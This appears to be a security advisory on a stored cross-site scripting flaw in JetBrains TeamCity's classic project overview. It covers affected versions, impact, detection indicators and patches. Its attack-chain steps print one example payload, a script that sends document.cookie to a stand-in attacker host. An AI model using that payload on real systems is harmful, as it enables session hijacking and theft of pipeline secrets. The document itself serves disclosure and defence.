CVE-2026-111095: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2026-111095 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity's classic project overview component. It affects all TeamCity versions before 2025.11.8, versions 2026.1.x before 2026.1.4, and versions before 2026.2. The vulnerability was published on October 15, 2026, with patches released simultaneously. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, though the GitHub Advisory Database rates it 8.0 (High) using a stricter vector (GitHub Advisory, JetBrains).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). An authenticated user with low-level privileges can inject malicious scripts into the classic project overview page, which are then persistently stored and executed in the browsers of other users who visit that page. The attack vector is network-based, requires low privileges and user interaction (a victim must view the affected page), and results in a scope change affecting other users' browser sessions (GitHub Advisory, JetBrains).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other TeamCity users viewing the classic project overview, enabling session token theft, account hijacking, and unauthorized actions performed on behalf of victims. The confidentiality and integrity of affected user sessions are at risk, and in a CI/CD environment, this could facilitate further compromise of build pipelines, secrets, or connected infrastructure. Availability is not directly impacted (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.188%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least low-level privileges, limiting the attack surface compared to unauthenticated vulnerabilities.

1. Reconnaissance: Identify a JetBrains TeamCity instance running a vulnerable version (before 2025.11.8, 2026.1.4, or 2026.2) with the classic project overview enabled.
2. Obtain low-privilege access: Authenticate to the TeamCity instance using any valid low-privilege account (e.g., a developer or guest account).
3. Inject malicious payload: Navigate to the classic project overview and identify an input field (such as a project name, description, or similar editable field) that is rendered without proper output encoding. Submit a stored XSS payload, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Wait for victim interaction: When another user (e.g., an administrator) views the classic project overview page, the stored script executes in their browser.
5. Harvest session tokens or perform actions: The attacker receives the victim's session cookie or performs actions on their behalf, potentially escalating privileges or accessing sensitive build configurations and secrets (GitHub Advisory).

• Logs: TeamCity server logs showing unusual project or build configuration edits containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) submitted by low-privilege accounts.
• Network: Outbound HTTP requests from TeamCity users' browsers to unexpected external domains shortly after viewing the classic project overview page; potential exfiltration of session cookies to attacker-controlled infrastructure.
• Application: Unexpected modifications to project overview fields containing encoded or obfuscated script content; audit log entries showing project metadata changes by accounts not normally performing such actions.

JetBrains has released patched versions addressing this vulnerability: 2025.11.8, 2026.1.4, and 2026.2. Organizations should upgrade to one of these versions as the primary remediation. As a temporary workaround until patching is feasible, restrict access to the classic project overview to trusted users only and deploy Web Application Firewall (WAF) rules to detect and block script injection attempts. Disabling the classic project overview UI in favor of the modern interface may also reduce exposure (JetBrains, GitHub Advisory).